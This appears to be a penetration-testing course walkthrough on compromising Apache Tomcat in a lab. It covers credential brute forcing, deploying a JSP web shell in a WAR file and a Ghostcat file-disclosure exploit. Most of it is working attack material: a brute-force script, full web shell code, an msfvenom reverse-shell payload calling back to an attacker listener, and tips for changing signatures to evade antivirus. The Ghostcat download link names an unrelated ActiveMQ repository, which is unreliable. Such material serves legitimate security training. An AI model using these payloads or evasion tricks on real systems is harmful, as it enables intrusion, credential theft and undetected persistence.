Attacking Tomcat
Once Tomcat is fingerprinted and enumerated, the focus shifts to gaining credentials and achieving remote code execution. Tomcat Manager provides multiple paths to RCE, and known vulnerabilities like Ghostcat can bypass authentication entirely.
Tomcat Manager - Credential Brute Force
The /manager/html endpoint requires HTTP Basic Authentication with credentials stored in tomcat-users.xml. Weak or default credentials are common in internal environments.
Common Default Credentials
tomcat:tomcat
tomcat:admin
admin:admin
admin:password
manager:manager
root:root
Metasploit Brute Force
Setup the module:
msf6> use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 10.129.201.58
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
Key options:
USER_FILEβ Users wordlist (default:tomcat_mgr_default_users.txt)PASS_FILEβ Password wordlist (default:tomcat_mgr_default_pass.txt)USERPASS_FILEβ Combined user:password pairsUSER_AS_PASSβ Try username as passwordBLANK_PASSWORDSβ Try blank passwordsSTOP_ON_SUCCESSβ Exit on first successful loginTHREADSβ Concurrent threads (default: 1)
Run the exploit:
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
[+] 10.129.201.58:8180 - Login Successful: tomcat:admin
[*] Scanned 1 of 1 hosts (100% complete)
Manual Brute Force with cURL
Test credentials using HTTP Basic Authentication:
curl -u tomcat:admin http://target.com:8080/manager/html
Status codes:
401 Unauthorizedβ Invalid credentials200 OKβ Valid credentials403 Forbiddenβ Valid credentials but insufficient privileges
Python Brute Force Script
#!/usr/bin/python3
import requests
from termcolor import cprint
import argparse
parser = argparse.ArgumentParser(description="Tomcat manager credential bruteforcing")
parser.add_argument("-U", "--url", type=str, required=True, help="URL to tomcat page")
parser.add_argument("-P", "--path", type=str, required=True, help="manager or host-manager URI")
parser.add_argument("-u", "--usernames", type=str, required=True, help="Users file")
parser.add_argument("-p", "--passwords", type=str, required=True, help="Passwords file")
args = parser.parse_args()
url = args.url
uri = args.path
users_file = args.usernames
passwords_file = args.passwords
new_url = url + uri
with open(users_file, "r") as f:
usernames = [x.strip() for x in f]
with open(passwords_file, "r") as f:
passwords = [x.strip() for x in f]
cprint("\n[+] Attacking.....", "red", attrs=['bold'])
for u in usernames:
for p in passwords:
r = requests.get(new_url, auth=(u, p))
if r.status_code == 200:
cprint("\n[+] Success!!", "green", attrs=['bold'])
cprint(f"[+] Username: {u}\n[+] Password: {p}", "green", attrs=['bold'])
break
if r.status_code == 200:
break
if r.status_code != 200:
cprint("\n[-] Failed!!", "red", attrs=['bold'])
cprint("[-] Could not find credentials", "red", attrs=['bold'])
Usage:
python3 brute_tomcat.py -U http://target.com:8180/ -P /manager/html \
-u users.txt -p passwords.txt
Burp Suite Intruder
For more control and visibility, use Burp Suite Intruder:
- Capture a request to
/manager/html - Send to Intruder
- Configure Sniper attack on
Authorizationheader - Payload: Generate base64-encoded username:password pairs
- Filter for HTTP 200 responses
Tomcat Manager - WAR File Upload & RCE
Once valid credentials are obtained, the Manager interface allows deploying Web Application Archive (WAR) files. A malicious WAR containing a JSP web shell enables command execution.
JSP Web Shell
Create a simple JSP command shell:
<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
// cmd.jsp = Command Execution (unix)
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
Create WAR Archive
# Download JSP shell
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
# Create WAR file
zip -r backup.war cmd.jsp
# Verify contents
unzip -l backup.war
Archive: backup.war
Length Date Time Name
-------- ------ ---- ----
1234 09-21 20:05 cmd.jsp
-------- -------
1234 1 file
Deploy via Manager GUI
- Navigate to
http://target.com:8180/manager/html - Log in with brute-forced credentials
- Under βDeploy,β click Browse and select
backup.war - Click Deploy
- The
/backupapplication appears in the applications list
Access the Web Shell
Once deployed, Tomcat extracts the WAR contents to /webapps/backup/:
# Access the JSP shell
curl http://target.com:8180/backup/cmd.jsp?cmd=id
# Output
Command: id<BR>
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
Execute Commands
Browser access:
http://target.com:8180/backup/cmd.jsp?cmd=whoami
cURL:
curl "http://target.com:8180/backup/cmd.jsp?cmd=cat+/etc/passwd"
Multi-line commands:
curl "http://target.com:8180/backup/cmd.jsp?cmd=bash+-c+'whoami;id;pwd'"
Generate Reverse Shell WAR (msfvenom)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > shell.war
Payload size: 1098 bytes
Final size of war file: 1098 bytes
Deploy and execute:
# Terminal 1: Start listener
nc -lnvp 4443
# Terminal 2: Browse to deployed app
curl http://target.com:8180/shell/
# Terminal 1: Catch reverse shell
listening on [any] 4443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.201.58] 45224
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
Automated Deployment (Metasploit)
msf6> use multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 10.129.201.58
msf6 exploit(multi/http/tomcat_mgr_upload) > set USERNAME tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set PASSWORD admin
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST 10.10.14.15
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] Uploading JSP shell...
[*] Shell uploaded successfully!
[*] Triggering shell...
[*] Meterpreter session opened
Cleanup
Remove uploaded application:
- Return to Manager GUI
- Locate the
/backupapplication - Click Undeploy
This removes the WAR archive and extracted contents.
Web Shell Hygiene
When deploying web shells, especially on external assessments, implement security measures:
-
Randomized filename: Use MD5 hash instead of
cmd.jspmd5sum cmd.jsp # c5d58e8b71e2a4b8c4d4c0e8d9b0a3f7 -
IP whitelist: Modify JSP to allow only your IP
String clientIP = request.getRemoteAddr(); if (!clientIP.equals("10.10.14.15")) { response.sendError(404); return; } -
Password protection: Add authentication to web shell
String password = request.getParameter("pass"); if (password == null || !password.equals("mysecretpass")) { response.sendError(401); return; } -
Evasion: Modify detection signatures
Change: FileOutputStream(f);stream.write(m);o="Uploaded: To: FileOutputStream(f);stream.write(m);o="uPlOaDeD:This reduced VirusTotal detection from 2/58 to 0/58 vendors at the time of writing.
CVE-2020-1938: Ghostcat (AJP LFI)
Affected versions: Tomcat < 9.0.31, < 8.5.51, < 7.0.100
Vulnerability: Unauthenticated local file inclusion via Apache JServ Protocol (AJP)
AJP Protocol Overview
AJP is a binary protocol used for proxying requests between front-end web servers and back-end application servers. It typically runs on port 8009.
Port Detection
nmap -sV -p 8009,8080 target.com
PORT STATE SERVICE VERSION
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.30
File Disclosure Exploitation
The vulnerability allows reading files within the web application directory (e.g., WEB-INF/web.xml).
Limitations:
- Cannot read system files like
/etc/passwd - Limited to webapps folder contents
- Useful for configuration and source code disclosure
Using the PoC Exploit
Download the exploit:
git clone https://github.com/X1r0z/ActiveMQ-RCE.git
# Or download: https://www.exploit-db.com/exploits/50383
Read WEB-INF/web.xml:
python3 ghostcat.py -u target.com -p 8009 -f WEB-INF/web.xml
Getting resource at ajp13://target.com:8009/asdf
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<display-name>Welcome to Tomcat</display-name>
<description>Welcome to Tomcat</description>
</web-app>
Information Gathering
Common files to target:
| File | Information |
|---|---|
WEB-INF/web.xml | Servlet mappings, application structure |
META-INF/context.xml | Database credentials, resource definitions |
WEB-INF/classes/application.properties | Spring configuration, DB credentials |
WEB-INF/lib/ | Dependency versions (may have known CVEs) |
ROOT/index.jsp | Application logic, business code |
Example β Extract database credentials:
python3 ghostcat.py -u target.com -p 8009 -f WEB-INF/classes/application.properties
spring.datasource.url=jdbc:mysql://db.inlanefreight.local:3306/appdb
spring.datasource.username=dbuser
spring.datasource.password=SecureP@ssw0rd!
Key Vulnerabilities Summary
| Vulnerability | Type | Impact | Mitigation |
|---|---|---|---|
| Weak/default credentials | Authentication bypass | Critical RCE | Strong passwords, disable default accounts |
| WAR upload | Arbitrary file upload | Critical RCE | Restrict upload to authenticated users |
| Ghostcat (CVE-2020-1938) | Information disclosure | High | Upgrade to patched version |
Exposed /docs | Version leak | Medium | Disable documentation access |
Exposed /examples | Example servlets | Low-Medium | Remove example applications |
Assessment Checklist
- Brute force
/manager/htmlwith default credentials - Test
/host-managerwith same credentials - If credentials found, upload WAR shell and verify RCE
- Check for Ghostcat vulnerability (port 8009 open, Tomcat < patched version)
- If Ghostcat vulnerable, extract
WEB-INF/web.xml,context.xml, application properties - Check for CVE-2020-1938 or other known Tomcat CVEs
- Document Tomcat version, running user, and deployment directory
- Clean up web shells and deployed applications before leaving
Post-Exploitation
Once RCE is achieved as the tomcat user:
- Check privileges: Often runs as high-privilege user (SYSTEM, root)
- Enumerate network: Use Tomcat access for lateral movement
- Harvest credentials: Check logs, configuration files, database connections
- Escalate privileges: Leverage Tomcatβs privileges for further exploitation
Tomcat is frequently a high-value foothold, especially in internal environments where itβs often forgotten and misconfigured.